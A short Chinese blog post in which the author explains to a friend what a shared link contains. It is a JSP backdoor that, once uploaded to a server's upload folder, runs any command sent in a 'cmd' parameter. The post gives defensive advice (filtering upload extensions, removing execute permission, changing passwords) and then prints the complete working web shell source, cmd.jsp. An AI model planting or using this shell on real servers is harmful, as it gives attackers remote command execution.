我的博客文章网址:
http://www.jloongking.cn/tp50/public/blog/index/blog?blogid=98
今天遇到了一个事情,大学同寝室的二哥在早上发来了一段网址,http://www.webbaozi.com/zyfx/37.html。让我帮他分析网址的代码是什么意思,我看了一下,这是通过java代码执行
Runtime.getRuntime().exec(
linux命令,这是一段后门代码,可以让人远程登陆服务器,通过上传文件接口上传到upload文件夹下执行
预防方案,上传文件时过滤文件后缀,改变文件储存目录的权限去掉可执行权限,如果已经出现问题记得改变服务器密码。
该java文件完整密码如下:
<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "
");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>